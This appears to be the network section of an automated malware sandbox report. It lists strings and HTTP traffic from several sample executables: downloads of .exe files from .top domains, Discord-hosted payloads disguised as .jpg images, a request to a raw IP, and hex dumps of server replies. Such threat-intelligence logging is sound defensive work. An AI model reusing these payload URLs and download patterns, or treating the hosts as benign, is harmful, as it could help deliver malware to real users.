Source: A557.exe, 0000001D.00000000.427496231.00000000002D2000.00000002.00020000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg
Source: 77DC.exe	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903702020781907998/4D0A6361.jpg
Source: 152F.exe, 00000023.00000003.505195772.0000000002EFB000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: 152F.exe, 00000023.00000003.505195772.0000000002EFB000.00000004.00000001.sdmp	String found in binary or memory: https://telegram.org/img/t_logo.png
Source: 152F.exe, 00000023.00000003.505195772.0000000002EFB000.00000004.00000001.sdmp	String found in binary or memory: https://toptelete.top/agrybirdsgamerept

Source: unknown

DNS traffic detected: queries for: xacokuo8.top

Source: C:\Users\user\AppData\Local\Temp\977B.exe

Code function: 34_2_004070B4 HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

34_2_004070B4

Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic	HTTP traffic detected: GET //l/f/wJ2RyXwB3dP17SpzKGLv/8868635484462b34cd9494990ed8c03cf2975861 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 91.219.236.97

Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f0 1b b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c2 55 a1 b9 67 f4 25 45 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%EQAc}yc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 23 9f 87 cd 2b 80 78 51 a1 a2 8f 3c 08 d8 1c e0 32 02 50 08 08 d0 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 81 8a 20 59 55 11 5c b8 e6 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 81 ff cc 8a 40 d8 06 0e 45 87 1b 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 30 4d 6b 0e e1 a2 22 48 12 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 e2 5f 96 da 19 d1 3a 2d 6e 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 2d 77 14 2c d0 e8 b1 14 b9 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 e2 49 64 cd 25 5c 8d b7 73 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 07 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6f c9 ae 88 3b 95 36 e1 48 50 67 79 50 b8 81 be e6 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 5f 9f 87 cd 29 80 78 51 a1 a2 8f 4c 3d d8 1c e0 32 02 50 08 e8 df e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 e1 8a 20 59 55 11 5c 03 25 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 5d ca cc 8a 44 d8 06 0e 45 67 14 7d 63 fb e0 04 89 f9 d4 57 80 90 70 89 ec 24 4d 6b 0e e1 a2 22 48 32 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 83 97 5f 96 da 19 d1 3a 2d 12 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 7d 87 4a 04 38 cd 78 14 2c de e8 b1 14 c5 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 c2 49 64 cd 25 5c 8d b7 1d 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 a5 32 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6e c9 ae d4 15 95 36 e1 48 50 67 7e 50 b8 81 be e5 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
